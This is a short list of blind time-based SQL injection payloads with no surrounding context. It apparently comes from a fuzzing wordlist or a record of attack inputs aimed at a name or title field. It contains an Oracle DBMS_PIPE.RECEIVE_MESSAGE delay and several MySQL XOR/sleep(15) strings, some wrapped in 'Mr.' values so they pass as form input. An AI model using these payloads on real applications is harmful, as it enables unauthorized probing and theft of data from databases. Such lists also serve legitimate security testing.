MR.
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
Mr.0\"XOR(if(now()=sysdate(),sleep(15),0))XOR\"Z
Mr.0\'XOR(if(now()=sysdate(),sleep(15),0))XOR\'Z
if(now()=sysdate(),sleep(15),0)
